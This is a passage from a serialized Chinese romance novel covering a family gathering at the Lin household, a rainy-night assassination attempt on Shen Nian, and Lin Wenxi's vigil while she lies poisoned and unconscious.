“你从前装的一副老实样子这才是你的真面目”林长羽总算将要折回来,扶着地猛咳,“该叫沈三娘看清你究竟是个什么东西,是要让她将你弃了,才不是我抢你这卑贱阴毒之人的东西。” “三娘早知道我是什么样,你以为她刚才在门口握着我的手是在说什么?” “沈三娘是和善之人,怎会纵容你这样的人,少在此虚张声势。” 林闻溪呵呵笑了一声,抬起脚险先踩在林长羽的手掌上。 林长羽信或不信他根本不在意,他与沈年的情谊,一点一滴被他珍藏着,林闻溪才不舍得拿出来给林长羽证明什么。 他跨过林长羽的下半身子往林府的厨房中去吩咐,回到厅堂中去坐。 见他一人回来,林主君向外面庭中张望一眼,问道:“羽儿怎没有同你一起回来?” “阿弟走在路上,许是那石子路下了雨滑,好端端的摔了一跤,这会子应是去换衣裳去了。” 林闻溪走进去向屋中的两位哥嫂见了个礼,边往沈年身边走边拿腔拿调的向林主君说道。 “这事怪了,那石子路他平日在府中来来回回的走,怎今日和你一同走就摔跤了。” “我们刚进门,这路上属实是湿滑不好走,六弟他没什么大碍吧。”说话的是林闻溪的那位二哥。 “我在后头扶了他一下,没什么事只是吹飞了伞淋了点雨而已。”林闻溪站在沈年身边,搭了下她的肩示意她放心,又盯着桌案上的骰子笑着问,“这是在玩什么。” 他那位四嫂抱着买回来的酒坛子兴致勃勃道:“这是坊间流行的博戏,掷骰行棋。今日人齐热闹,闲来无事一同玩玩,输了罚酒。” 几人围成一桌扔起骰子来,林闻溪搬来小凳子坐在沈年旁边瞧热闹,瞥见林主君气冲冲撑起伞往院中出去。 林长羽正盯着镜中出神,呆坐着擦拭头发。见到林主君推门进来,偏头躲着面向墙角坐。 “羽儿没事吧。”林主君打量了林长羽一眼问。 那日夜宴回来后二人隔阂许多,林长羽每日请安的规矩也不依了,冷的不像是亲生的父子。 林主君本有些愧意叫下人送了几回东西,林长羽仍是不理不睬的,林主君心里也恼起来。 眼下迎着雨来关心见林长羽避着他不吭声,开口气他道:“嫌我为你选的婚事不好,你自个又想着给沈三娘做侧室,比我选的强到哪里去。” 林长羽重重甩下手中的帕子,像是听到什么天大的笑话,站起身气的嘴唇发抖:“谁要去做什么侧室了?” 林主君:“那五郎占着正室的名分,你不做侧室又能做什么?” “这婚事能成自也能散,五郎刚刚绊我的路差点要了我的命,这样心肠歹毒的人如何配的上做正室。” “什么?”林主君闻言上来摸了摸林长羽的身子,“在我们林府他竟敢如此行凶!这小蹄子真是要反了天了。” 林主君说着便要拉着林长羽出门去理论,林长羽甩开他的手。 “这会去他定要赖在沈三娘子身上将黑的说成白的,沈三娘偏信他的,想想也是白闹一场罢了,反而更让他看笑话。” “那难不成就此算了?” 林长羽手中捏着自己半干不干的发丝坐下来,而后又拿起木梳刮着头皮,盯着镜中缓缓道:“待我想一想。” 林长羽收拾齐整重新回去厅堂中时,林闻溪正将侧脸贴在沈年背上笑得和煦。 林长漪抬气头问道:“六郎来了,没哪里摔疼吧。” “没有。” 林闻溪闻言轻声笑了一下。 “那来坐下一同玩,瞧五郎非要给你阿嫂挡酒,说他醉了他还不认,今儿非要让他认了才好。” “就是就是,五郎喝醉时什么样,还没人见过呢。” 一群人说笑着打趣,林长羽迎面笑着坐下,在沈年的对面。 这博戏的棋盘分四个三角,每人各占一个,三角里面又有凹槽。每个凹槽各有名称,有“营”“王”“厩”三个。每人十二颗棋子,投掷骰子点数后移动棋子,将棋子移动到对方相应的凹槽内便算是胜,这其中既有骰运也讲究策略。 林长淑握着长签笑着道:“看来三娘子今日运气不佳,怎又抽的最短的那签。” 沈年丢下签子自己也怪:“又是我最后,三姐姐先来就是。” 林长淑和对面那位有意不往沈年的棋格里面攻,林长羽一扔扔了个大点数,弯起嘴角向沈年笑道:“得罪阿嫂了。” 他捏着棋子的手向沈年这边探过来,林闻溪见状钉了林长羽那双爪子一眼,坐起来将沈年往后扯了扯。 沈年转头看了林闻溪一眼,笑着捡过骰子放到林闻溪手上,“林郎帮我扔好了。” 可惜林闻溪也是运气平平,连着丢了几个都没有大点。 林长羽道:“不知阿兄是否是今日做了什么冲撞了菩萨。” 沈年知道林闻溪心里一向信奉神仙菩萨,忙出声维护道:“许是他坐我身边,沾了我的霉运。” 林长羽闻言手中的棋子清脆的落在桌案上滑落在地,他慌忙弯下腰去拾,却看见底下林闻溪正在用腿勾着沈年的脚踝蹭。 他将棋子握在手心羞愤的坐起来,林闻溪勾着唇向他得意的笑。 与他相对而坐的沈年面颊分明在泛红。 沈年知道他这副浪荡的性子,看样子还并不生气。 林长羽有丝信林闻溪所说的话。 他看向沈年想要去寻找什么东西,但沈年一心研究着棋盘,一副要赢他不可的模样。 若说沈年从前看*不见他,可现在他坐在沈年的对面,却并没有让她多看一眼。 林长羽的心思越来越不在这棋盘上面,本来稳操胜券的局面渐渐被沈年扳回来,输的难看。 几人起哄倒了一大盅酒要灌给林长羽,林长羽面无表情的端起酒盏到唇边,仰头准备饮下。 却听沈年抬手止了几个人的声音道:“只是平日里玩乐不必较真,这一杯下去真要将人灌醉,六弟沾沾唇意思下便好。” 林长羽眼神停顿一下,弯起眼睛向沈年笑了笑,说了声是。 林闻溪清楚沈年素来是如此,并没有旁的心思。但瞧见她对旁的男子好,还是克制不住一瞬生出满腔的妒忌。 他起身捂着心口向外面走去,沈年跟上去问:“怎么了,连伞也不打就往院里走。” 林闻溪低着头尽量掩饰自己的情绪:“心口闷,出去透透气。” 不等沈年撑伞的功夫,林闻溪便往外走。 “他许是喝醉了点,我去陪他在外面散散酒气。”沈年向里面的人打了声招呼,追着林闻溪脚步去。 林闻溪一路往他从前藏的角落里走,沈年跟在后面忽然不见了人。 收起伞寻他,被林闻溪不知从哪里伸出的手拽了进去。 这角落狭小,从一个个小石头缝里打进来几道稀稀疏疏的光,林闻溪后背贴着后面的石壁,抿着唇角眼神哀怨的盯着沈年看。 沈年捏了下他的脸颊笑着说:“一喝酒就爱往这些犄角旮旯的地方藏,闷在这更难受,出去吧。” “那一小杯而已,我没喝醉。”林闻溪被沈年摸脸消了些脾气,挪过来抱上沈年将脸贴在她肩上,“三娘也会喜欢旁人吗?” “还说没喝醉,这又是从哪冒出来的话。”沈年低头掐了下林闻溪的眉心。 “我那六弟,三娘看着如何。” “什么如何?”沈年皱了下眉反应过来,“那句话我并无别的心思,实在是多心了你。” “是他看上三娘了。” 沈年一惊:“可他是你亲生弟弟,他还一直唤我阿嫂呢。” “兄弟同侍一妻也不是什么稀奇事。” “往后也不再来了,那我过会躲他远些。” 林闻溪欢喜起来摸着沈年的下巴抬起脸往她唇边凑近。 “在这里不好吧。” “我不管。”林闻溪又蹙眉生气按着沈年的后颈,但又偏要等着沈年低头亲上来。 沈年一贴上来,他整个人又软绵绵四肢都恨不得挂在沈年身上,雨声将他的喘息声掩藏,被沈年压在冷冰冰的石壁上浑身却在发烫,他头一次被沈年亲的有些喘不过来气。 沈年先前每回都很温柔碰他,这次却像是故意含着他的嘴巴连呼吸的间隙都不给。 林闻溪有些难以自持,他慌乱的推着沈年的肩留出一丝空隙。 沈年又低着头偏过头在他脖颈上亲吻,他的皮肤薄很容易在身上留下红点,林闻溪感到脖颈上的湿热又推沈年的肩。 “三娘别在这里亲。” 沈年一脸不爽的用手指在他身上游离,“那在看不见的地方亲。” 她说着伸手要解林闻溪腰间的衣带,林闻溪惊呼一声阻止她的动作。 “怎么,不要了?”沈年抓着他的手挑眉问道。 “不……不要了,够了。” 林闻溪伸手扶着沈年起身,沈年拍了拍他背后的灰问:“刚才没硌到你吧。” 林闻溪红着脸摇头,沈年有时候会使这些招数来拿捏他,他明知道沈年又不会真的在此解他的衣裳,却还是忍不住中她的招。 待林闻溪脸上的红散去,二人才又回去厅堂中,桌上已经摆上了菜。 “五郎怎去了这么久,要不要喝碗解酒汤。” “我没……没事的。”林闻溪不好意思的低头喝了茶。 林长羽刚去寻二人回来,哪里都不见人影,林闻溪明明气冲冲的出去,这会又支支吾吾的脸上发红,不免的多想。 他没想片刻,又注意到沈年似乎是在明显的避着他,先前虽也不甚亲近,但也不是此刻对他避之不及的样子。 先前不还关心为他解围,想来定又是林闻溪刚刚出去在沈年面前挑唆来着。 林长羽坐在桌边,隔了半个桌看着林闻溪为沈年添茶添菜,憋的一肚子火,只吃了几口便放下碗筷。 天色渐晚,林家热闹了一日才散了席,各回各院中去了。 林长羽提着灯引着沈年和林闻溪往厢房中去。 一路雨声潇潇,沈年想了想出声说:“在哪处院子,六弟跟林郎指一指,我二人自己过去就好,天黑了你一人不好回去。” 林长羽走着一趟,便是想着回来的时候或许沈年会送他一段路,能与她单独说几几句话。 “先前阿兄所住的院子小了些,今夜安排的是别院的厢房,阿兄不常去,我还是走一趟免得寻不到地方,又要在外面淋雨。” 沈年正犯愁,雨幕中乍然传出一声急促的喊叫:“沈大人小心,有刺客!” 话音未落,几声清晰的放弓的声音砰砰响起,沈年提起灯看去十几支锋利闪着寒光的箭头正朝她飞来。 52 第52章 ◎雨夜(二)◎ 手中的灯盏坠地,细微的火苗很快被雨点扑灭。 沈年本能的拽着身旁林闻溪的衣袖蹲伏到地上趴下,墙角和屋顶的那几位亲卫翻身而下挡在沈年面前。 刀光剑影之下,箭头落地,铮铮作响,夹杂着有人中箭的苦痛的喉音。 有一人的身体面朝着沈年直挺挺的倒下,她蒙着面心口插着一支长箭,还在一下下喘着气。 这些亲卫生来就是死士,她们平日里不知藏在沈年身边的哪个屋顶树梢,沈年甚至还不知道她的名字。 沈年睁大眼眶狂喘着气,林闻溪从她胳膊下挣脱出来,用身体将沈年挡住将她往墙角推。 沈年从空间内抽神出来,她拖了一张方形的钢板出来。 林闻溪抹了抹被雨水糊着脸,虽然一脸不可思议但下意识的伸手接住。 “你待着别乱动。”沈年将他拽到身后,又开口朝雨中的几个亲卫喊,“到我这里来躲着。” 她边喊着边哐哐往外面扔东西。 那几名在雨中挥刀的亲卫听到身后的声响,一面惊的瞳孔微缩,一面后退捡起地上的钢板躲避。 一共十个人转眼之间只剩了四个。 沈年数了数人,一时想起来林长羽,她喊了一声林长羽的名字不见回声,一抬头便听见箭头打在钢板上的声音。 林闻溪抓着沈年的衣裳躲回来,“三娘别出去,他走在我们前面,我瞧见他早往前面院里跑去了,这会不出声想来是怕那些刺客发现他在哪。” 沈年干咽了下喉咙点头,又挪了挪脚想探头出去。 “三娘不信我的话不成。”林闻溪抓着她急的声音都有丝飘忽。 沈年掰开他的手指:“还有地上躺着的那几个,她们还没死。” “沈大人,这箭头上涂了剧毒,她们中了箭必死无疑的。” 她身旁的一名亲卫冷静的朝沈年说道。 她们这种人,死是早晚的结局,同伴的尸首她们已经见过了不知多少。 沈年脸上分不清是泪还是雨,她伸手握着那名亲卫的手哽着声音道:“万一有救她们是为了护我的命,我不能让她们就躺在雨里等死” “我等刚才在树上瞧见那房檐上黑压压伏着数不清有多少人在,她们见这箭没用很快会下来的,到时候腹背受敌沈大人也会没命的!” 林闻溪更是死死抱着沈年不撒手,“三娘不如想想余下这几人怎么活命吧,你别出去。” 没等沈年犹豫的间隙,便听见屋檐上面瓦片响动,几片瓦片砸在地上,几个黑衣腾身而下轻巧的落在地面,从钢板的缝隙中看见几双通黑的长靴踩着水洼向她们走过来,几人手上缠着白布,拖着长刀与地面的石子相撞,听得人毛骨悚然。 “别怕。”沈年察觉到怀中的林闻溪在发抖,她镇定下来拉着林闻溪半坐起来,给他手中递上一把锯子。 “她们是冲我来的,呆会你寻机会朝前面院里跑,若有人追你就按这个红点在她们面前挥。” “三娘我和你在一块。”林闻溪扔下手里的东西,没有哭却控制不住的后背发颤,连话都说不整了。 “你在这里只会拖累我们,你听我的话就是。” 沈年将人从她身上推来,严肃的正声命令一样的说。 林闻溪捡起那把锯子,又贴在沈年脖颈上点了点头。 沈年扭过头又丢给余下那四个人,外面的脚步迈到近前停下,静默片刻似乎是在看几人举着的钢板有何异样。 看了片刻将长刀挥起来重重的砍向几人藏身的角落,却被缝隙中伸出的一根带着尖头的长棍刺中手腕,手中的刀当啷一声砸在钢板上,余下的几名刺客见状不信邪一样挥刀砍过来,被跳出来的两名亲卫用手里的家伙一碰,手臂上就钻出一个血窟窿。 倒在地上的两三个浑身冒血,痛的在地上翻滚,发出凄厉的哀嚎。 还站着的几个吓的慌张向后退,吹了一声哨,屋檐上趴着的刺客倾巢而下,在雨中黑压压的像一堵厚实的墙,沈年露出眼睛去看足有六七十人。 看样子今夜下手的人是一定要她的命不可。 而且闹出这么大动静,林府的剩下的院子里雅雀无声,诡异的很。 若她们一拥而上,双拳难敌四手,到时候只有死路一条。 沈年盯着地面上泛着刀光的钢板,恍然间有了主意。 她推了推林闻溪让示意他起身准备走,见林闻溪又苦着脸抱着她的腿,沈年不留情瞪了他一眼。 林闻溪无奈半蹲了起来,趁着那些刺客还不敢过来的,沈年示意余下两位亲卫跟着她挪动,在几处墙角立起钢板来。 而后又向两人窃窃私语起来,那些刺客听见沈年的说话声喊道:“她定是又在使什么邪咒,一齐上去杀了她,为我们的亲人复仇昭雪!” 一句话激起了那些刺客的胆量,举着刀发疯一样的冲过来。 沈年推了一把林闻溪叫他快走,而后那两名亲卫分散跑到立着的钢板面前。 林闻溪贴着墙角向院中跑了一小段路,他割舍不下心回头望了一眼。 却见黑乎乎的雨夜一瞬恍若白昼,亮的他下意思抬起袖子遮着眼睛。 那些刺客一个个像无头苍蝇捂着眼睛揉。 这是电焊产生的电弧光,人眼近距离暴露在这种光线下,会短时间内致盲。 林闻溪瞧了一眼便发觉眼中出现一个光点,他见状没那般害怕往院子里跑去。 到了门前推不动门,发现门从里面锁着。 他拼命拍着门唤林长羽的名字,林长羽提着灯不声不响在狭小的门缝里露出一只眼来,将林闻溪吓的渗出一身冷汗。 “只有我,快开门。”林闻溪深吸了一口气,不敢用太大声音说道。 林长羽伸手摸了摸门上那把锁,又转眼看向林闻溪勾唇一笑,啷当将锁丢了回去。 “今日阿兄差点杀了我,这会还想着要我救你。” 林闻溪握起拳重重在门上砸了几下:“三娘还在外面,你放我过去,我要去找人过来救她。” “你跪在门口,向我磕三个响头我便开门如何?”林长羽慢悠悠的在门口踱步,他手中的发黄灯盏跟着他在门缝中来回飘过。 林闻溪想都未想,便弯下膝盖直直跪了下去,额头在地上砸的响亮。 林长羽在门里轻轻的笑着,他的笑声又忽然止住,并没有把门锁打开反而将仅有的那点缝隙也重重的关起来。 林闻溪正要抬起头说话,却听见身后传来沉沉的脚步声,他回头一看,是个蒙脸提刀的高大女子。 他猛地向后一扭身,将后背贴在门框上,强装镇定举起沈年交给他的锯子。 他按下那个红点,锯子猛地在他手中抖动起来,他站起来用双手握紧同那女子对峙。 那个女子不在意的嗤笑一声,扬起刀向他的手舞了过来,林闻溪用力拿锯子抵上去,刀锋相撞擦出刺眼的火花,僵持几秒那女子手中的刀崩成了两半。 林闻溪趁势向女子的身上挥去,那女子被迫后退几步。 然而门缝底下猛地伸出一只手来,拽着林闻溪衣尾向门缝里拉他,林闻溪站不稳向后倒,手中的额锯子摔在地上,那女子趁机压上来死死的掐住喉咙抵在门上。 那女子张狂的笑了声,抬脚踢了一下门板,向里面道:“真是多谢。” 林闻溪掰着女子的手拍打,眼珠瞪的浑圆。听到林长羽在门里面声若呐蚊的说着三个字:“杀了他。” 那女子道:“你这小郎君可真是心狠,是个做大事的人,不过还杀不得。” “为何?”里面的林长羽问。 那女子掐着林闻溪转身盯着赶来的沈年笑道:“因为她还没死。” 林闻溪看到沈年眼眶里涌出泪,并不是因为痛,而是锥心的自责。 他又让沈年为他犯难了。 沈年看见哭着的林闻溪,心里如同重重被刺了一个空洞,她极力掩饰但出口还是藏不住的心慌。 “放了他,不然你也活不了。” “死对我们这些人来说是种解脱,今夜来便没打算活着回去。” “我与你们无冤无仇为何要置我于死地,你们的主子是谁?她可以给你的我也可以。” 那女子又加重了手上的力道,林闻溪被掐的喘不过气来手脚挣扎。 “我什么都不要,只要沈大人你的命。” 沈年闻言知道她不会要林闻溪的命,故作轻松的问道:“是风宪司?还是霁王?” 那女子显然楞了一瞬,惊讶的盯着沈年的眼睛。 “别问那么多,是沈大人死,还是这小情郎死,沈大人选一个。” 沈年神秘兮兮的笑了笑,“你们那么多人都杀不了我,你还没看出来我可是会仙法的。” 那女子闻言谨慎的往后面退了退,“少在这里装神弄鬼的。” “你不信?我这就施法让你的那只手断掉。” 沈年闭着眼在嘴里絮絮念着什么,然后忽然睁眼张大嘴巴“轰”的大喊了一声。 那女子抽神抬头一望,手中力道一松,藏在沈年身后的亲卫射出一只冷箭来正中她的眉心,林闻溪慌忙向旁边一躲。 沈年垂头松了口气,两人都没瞧见那女子将手臂抬了起来从袖中发出一枚暗器。 林闻溪欢喜的抬头看向沈年,却看见她一手捂着侧颈,像是在流血,轰然垂倒在地上。 他的笑木刻一样僵在脸上,眼前一片灰白,只看见被沈年的血染红的雨水,蜿蜒漫在地上,刺眼的红。 他呆看了几秒,一阵耳鸣匍匐在地上向她跪爬过去,过去看见沈年紧闭着的眼,眼前一黑在她身上昏过去。 林长羽将门锁打开,只看见相拥躺倒在地的两人。 53 第53章 ◎一人无依◎ 林闻溪捂着喉咙猛地惊醒直挺挺坐起来,他额头上黏着一层又一层的细汗,身上还是那身湿淋淋的衣裳贴在身上,他觉着身上有小虫在啃他的骨肉,蜷缩着四肢靠着木柱发颤。 眼前立着几排阴森森的牌位,他眼神失焦的盯着牌位前那一盏盏黄色的烛苗看了不知多久,迷魂了一般。 他听清了外面淅淅沥沥的雨声,忽然撑在地上大喘着气站直,向四周惊惧的环视一圈,却只有他一个人。 牌位上刻着沈家祖辈的名讳,想来此处是沈府的祠堂。 他先前从没来过这里,不知是谁把他锁在了这里。 他发疯一样叩着门,向外喊叫着放他出去,却根本无人回应。 不知哪里来的蛮力,他一次次的用身子撞向门框,摔倒了又不知疼痛的爬起来,一直到雨声渐停他总算将门撞开。 捧着盏灯奔出祠堂穿过幽长的走廊,一间间庭院。看见那扇镂空红漆木门里面透着烛光,听见里面纷乱的人声,他反慢下脚步一步一顿的走近,试探着推门走了进去。 沈府里的一群侍从和几位太医正围在塌边忙作一团,没人注意到他进来。 林闻溪秉着呼吸从人缝中瞧见沈年正躺在榻上,脖颈上缠着一圈厚重的纱布,面无血色整个人没一丝活气。 他此刻才彻底回过魂来,一松手将灯盏打碎在地,火星落在他脚背上转瞬又熄灭了。 侍从听到声音回头一看,慌忙走到他身前将余下的火点踩灭。 侍从惊慌推着林闻溪向外走:“正君您怎么出来的。” 林闻溪抵在墙边不挪脚,抓着侍从的手话都说不清:“三娘她……无事吧。” “太医才将暗器从沈大人身上取出,伤口不是太深,只是暗器上有毒。” 那侍从见林闻溪腿发软站不住又扶着他的胳膊道:“暗器上的毒被雨水冲的所剩无几,又幸有岳哥儿及时封住经脉,毒药未侵入腑脏太深。” 林闻溪盯着不知觉将侍从的手抓出红印来:“那是……还有救了。” “依岳哥儿所言,还算是有救。” “我过去瞧瞧她。”林闻溪强迫镇定几分抬起脚朝塌边走,被侍从伸手拦住。 “主家正在前院之中刚送一位太医出屋,正君如此湿身裸脚当心冲撞了主家。主家她……生了大气,命人将正君扔到祠堂里,正君还请去祠堂中静待主家吩咐为宜。” 林闻溪偏头看了一眼沈年,又低头看了看自己身上,转身一阵风一样的飘出去,不到一盏茶的工夫又喘的上气不接下气的回到了屋里。 他换了一身干净的衣裳,进门正撞见沈修撰在屋里。 沈修撰看见他的脸发火怒骂道:“是谁放他出来的!” 屋里站着的人闻声放下手里的东西过来拉扯林闻溪出去。 林闻溪扑通一声跪下:“母亲,是我放心不下三娘自己撞门出来的。” 沈修撰此时也顾不得什么,照着林闻溪的脸就骂:“我们沈家因你一个惹出多少事来,走一个还不算,如今还要被你害死一个。你们林家人一日日来府上讨债还不够,去了你们林府一回人就躺这里了!你若真有些良心就该跪在沈家列祖列宗面前谢罪!她真有什么三长两短只拿你是问!” 林闻溪伏在地上响亮的连声磕头道:“三娘此时需人照料,待过后三娘醒来母亲要罚要杀我都无怨言。” “还不将人拖下去!”沈修撰掐着眉头一句也不愿再听。 一直在旁看着的沈岳看不过去:“母亲,阿姐遭此劫难是刺客所为与姐夫并无干系,姐夫他也险些丧命。阿姐她万一醒来见我们将姐夫关起来定是又要急火攻心闭气过去了。” “我愿日日去祠堂中磕头为三娘祈福,还请母亲让我留下守在三娘身边照料。” 任谁大半夜的被敲响门,瞧见自己女儿满身是血死尸一样的被人背回来,都会脑子发蒙。 沈修撰已经惊过一回,这一回更是心惊肉跳。 那几个亲卫将沈年抬到榻上时,她脖颈上裹着的布条湿淋淋都是血,怎么唤她摇她都没有一点知觉,沈修撰抓着她冰凉的手害怕沈年等不到请来大夫就要断了气,幸亏府里的动静惊动了沈岳那院子的人。 沈修撰被沈岳一言说的冷静下来,对林闻溪的乞求没再出声。 一行人奔逃回来惊动了巡街的官兵,林府院中的尸首和捆起来的刺客已被官兵收押回衙门,听那四位亲卫所言沈年身怀异术。 沈修撰更忧心的是这桩事,眼下城中已经戒严,想必是已经惊动了宫中的陛下。 那些刺客的供词若传到陛下耳朵里,不知会陛下作何反应,待到今日朝堂上,她们沈家真不知是生还是死。 沈修撰静默的去了前院独坐到天光微亮,到穿上朝服登上去宫中马车那一刻她还是心神不定。 “郎君,主家她已经出府上朝去了,您别再磕了,瞧这额头都出血了。” 白石放下端着的药瓶,含着泪拉着林闻溪直起腰来,“早知道我们便不该过什么婚期,若有小薇在三娘子身边陪着,或许便不会出这桩事了。” 林闻溪整个人乱糟糟的,失魂落魄的瘫坐着,白石将药粉涂在他额头上,他不晓得痛一样呆呆的盯着地板坐着。 等白石将药抹好了,他又立马要起身向外走。 白石拉住他的袖子,“我为郎君熬了碗参汤再去,郎君喝了再去。” “我不饿。” 白石捧着汤碗递到他面前:“郎君这样糟蹋自己的身体,三娘子醒来又要伤心的,再说郎君也要吃了东西才有力气照料三娘子不是,喝一点吧。” 林闻溪闻言逼着自己往口中倒了一大碗。 推门进了屋,两位太医和沈岳在正在施针,他瞧见沈年手指尖正在冒着黑红的血珠,想来是正在放毒血。 林闻溪略知一些皮毛,行针之时要全神贯注,银针偏了几毫或是力道不够,都有可能使经络错行,毒血攻心。 他不敢出声恐打扰了几人,踮着脚又走出门外,去看沈年的药罐子。 林闻溪往炉子里添了两块木炭坐下,一边扇着火一边用绢子用力擦着自己喉咙,回想起昨夜那个女人用手掐着他,他便觉得浑身恶心起皮。 还有躲在门口的林长羽,简直是只伥鬼。 是林长羽害了他,害了沈年。 林闻溪想着昨夜那只从门缝底伸出来的手,恨不得将人剁碎了扔进这火中烧个干净,他盯着那团火眼底的恨意升腾,咬着牙后背一抽一抽的发颤。 沈岳出了屋门看见林闻溪痴坐着问:“姐夫是不是哪里不舒服?” 林闻溪回过神来,摇头站起来问:“我没事,三娘她可好些了?” “先放了一些毒血,暂且先看看管不管用。” 林闻溪:“多亏了有你在,不知该如何谢你。” “阿姐和姐夫先前不也帮了我,阿姐她待我很好,这实在不必言谢。” 林闻溪感激朝他点了点头,又拉着他到墙角小声问:“三娘身上还有先前的那蛊毒未解,眼下外面戒严我也出不去为她寻解药,不知阿弟的解药可做好了没?” “我做的解药已有四成的功效,不过我昨夜把脉发现阿姐身上的蛊毒已经解了。” “已经解了?” “是,想来已经解了一段时间了,阿姐体内的蛊毒一丁点都没留了。” 林闻溪不知该夸还是该骂阿久,他给沈年吃了解药却不说一回回骗沈年去相见。 “这药要趁热喂阿姐服下,姐夫快端药进去吧。” 林闻溪忙点头端着药碗进去,他将药先放在一旁稍散一散热气。 他坐到塌边才碰到沈年的脸,一瞬又忍不住泪如雨下,一面捂着脸抹泪痕一面看她身上的伤痕原来不止脖颈上一处,左手小臂和膝盖上面一些也缠着纱布。 “郎君别太伤心了。”白石跟着红了眼眶递了块绢子给林闻溪擦泪。 林闻溪拭干了泪水,“帮我扶着三娘仰起来点头。” 沈年身上带着伤,屋子站着的两三个小侍跟着过来搭手将人扶起一点在林闻溪腿上枕着。 只是沈年还是喝不进去多少药汤,林闻溪怕将药放凉没了药效,索性又吩咐几人放下纱帘在外暂避。 他捧着药碗含在口中俯下身,捏着沈年的下巴喂她将药用下。 用完药他擦干净沈年的嘴巴,将纱帘撩开又唤人进来让她平躺睡好。 白石:“三娘子中了毒,郎君这样当心万一也” 林闻溪拧干湿帕子帮沈年擦着手掌,打断他道:“没事,屋里热起来了去取把小扇来。” 林闻溪握着沈年的手在身旁坐了不多时,听见外面的人来通报,说是宋昭佛领着两队披坚执甲的侍卫正在沈府正门前叩门,外面的人不知该不该将门打开。 林闻溪知道宋昭佛愿意提携沈年,是看中她的本事想让沈年为其所用帮陛下对付两党而已,昨夜沈年在人前露了她的“仙术”,陛下要是生心生忌惮 林闻溪思忖了一下吩咐道:“去寻个身手好的攀到后墙上瞧瞧,有没有官兵围着。” 等人去的工夫,林闻溪又出了屋召来府中里里外外的护卫。 一大半将沈年所在的屋子围守起来,一半跟着他拿着刀剑去正门口。 在门口抵了几块大石和水缸,林闻溪才去门口应门。 他手中握着把长刀,从门缝里向外看了一眼问道:“不知宋大人带着这么多侍卫来府上有何贵干?” “我奉陛下之命前来看看沈令使的病情,这些侍卫是陛下派来护卫沈令使的。” “可有陛下的圣旨在?” “这是陛下口谕。” 林闻溪沉默一会,听到后院的人来报说那也有官兵围着。 他边招呼府中的人继续往门口抵石头,边婉言回绝道:“还请宋大人见谅,三娘她如今实在不宜见客,这么多官兵进府人来人往也不利三娘养病。” 外面的宋昭佛听见里面搬石挪缸的声音,拍着门道:“林郎君是否误会什么,我只是前来瞧沈令使的并无他意。” 常言薄情不过帝王家,兔死狗烹的故事史书上见得多了,林闻溪不敢去赌放人进来,若陛下真没起杀心待沈修撰回来开门也不迟。 林闻溪没继续回话,在门口僵持了片刻听到外面传来另一道声音。 “正君可还记得我?” 林闻溪听着有一丝熟悉,正想从门缝里瞧一眼,身旁的沈岳先听出来向他说道:“好像是罗县令的声音。” 一看门缝里的脸,确实是罗从宛没错。 沈年在答应给两人牵线之后一日正巧见了宋昭佛便跟她提了一句,本想着一句话不做什么数,没成想宋昭佛一心为陛下招揽拉拢人才留心派了人前去探查。 罗从宛用沈岳的药方挽救了当地不少百姓的痼疾人人称赞她是个为民做事的好官,加上殿试时罗从宛本就被陛下看中,眼下有这一桩功绩在身召回她是顺理成章的事情。 林闻溪见是她松了口气:“罗娘子何时回京的。” “我昨日刚回京述职,陛下命我来查沈妹遇刺的案子,正君不必害怕将门打开就是。” “是。”林闻溪赶忙命人将门口抵着的东西搬开,迎人进来。 罗从宛跟在宋昭佛身后,两人见林闻溪手中握着的刀都盯着看了一眼。 林闻溪将刀扔到一边,“有昨夜那一回,不得不多有防范,两位大人见怪了。” 林闻溪带着两人进去屋里瞧沈年,宋昭佛伸手摸了摸沈年的脉搏神色复杂沉默不语,并未怪罪林闻溪先前的怠慢。 罗从宛义愤填膺的捶了下桌:“这可就在皇城脚下,五六十个拿弓带刀的杀手,凶器还都涂了毒,就是奔着非要她的命不可去的,实在是猖狂。” 林闻溪盯着宋昭佛的动作谨慎不敢多言。 而且罗从宛昨日才刚回京,陛下就将此大案交给她办也是怪。 宋昭佛审视的盯了一眼林闻溪问:“那么多名刺客,沈令使昨夜是如何躲的过的,莫非真的是那些刺客所供的,沈令使会使邪术?” 林闻溪回道:“昨夜我太过害怕,一直躲着什么都没看清楚。” 宋昭佛闻言没再问什么,回头又看了一眼沈年出屋去安排随行而来的侍卫将院子围的铁通一般。 “看好沈大人。”林闻溪听见她命令了一句而后迈步向院外走了。 罗从宛问:“正君真的没看清?今日朝上众臣都在议论沈妹她是” 沈岳心直口快:“是什么不妨说出来,我阿姐她可救了罗大人一家的命,难不成罗大人也认为阿姐是妖邪不成,若她真是也不会被一点毒药弄成如今这般模样了。” 罗从宛急着解释道:“我并非如此想,如今人言纷纷我只是想如何能帮她。” 见林闻溪三缄其口并不打算开口的样子,罗从宛一顿,“罢了,眼下我先去查那些刺客的底细为沈妹讨个公道。” 接连三日沈修撰从府外回来,林闻溪便去祠堂中跪着磕头祈福,待她走了林闻溪便去沈年身边守着不动。 他几日未正经吃过什么,偶尔挨不住伏在塌边抓着沈年的手昏沉迷糊过去,片刻又忽然惊醒,眼底熬出了黑沉沉的一圈,白石为他梳头瞧见他耳后生出了好几根白发。 “郎君这般下去可不成,未等到三娘子醒过来,郎君的身子可要先垮了。” 白石硬塞到他手中一碗白粥,“郎君再消瘦下去坐着都要昏倒了。” 林闻溪眼神阴翳,推开粥碗似有些神志不清道:“岳弟已经给三娘放过几次血了,三娘她怎还不见醒,她是不是扔下我自己一个人回去了。” “郎君又说胡话,三娘子还喘着气呢。” 林闻溪回头惊恐的看了沈年一眼,“万一那不是她,她……已经走了。” 白石听见林闻溪的话焦急的拍着他的背:“郎君说话怎越来越迷糊了,可不能再胡思乱想,脑子会坏掉的。” 林闻溪精神恍惚几近崩溃掩着脸大哭。 白石瞧着人不大对劲悄悄溜到外面寻沈岳给他煮了些安神入睡的汤药端到他面前好说歹说让人喝了几口。 林闻溪不知是哭累了还是那药汤起了作用,又伏到沈年手边半趴着脸合眼睡了过去。 他这一觉睡的沉,半梦半醒的恍惚瞧见沈年的眼珠在转。 他勉强的晃晃脑袋坐起来,砸了下自己的脑门,毕竟他这几日常做这样的梦,有时候是梦还是真的都不大分的清楚。 闭眼再睁开一看,沈年的眼珠还在转。 林闻溪大喜过望抓起沈年的手掌要扑上去抱她,却看见沈年颤着嘴唇,眉头还紧紧皱在一起。 他的脸一瞬冷了下来,向后直了直身子,试探的唤了榻上的女子一声:“三娘,是我。” “我……”女子哆嗦了半天嘴巴,才将话吐出来:“我的手被你压麻了……” “啊?”林闻溪慌忙将沈年的手松开,用手指小心的人替她揉了揉。 “三娘。”他又不*放心开口唤道。 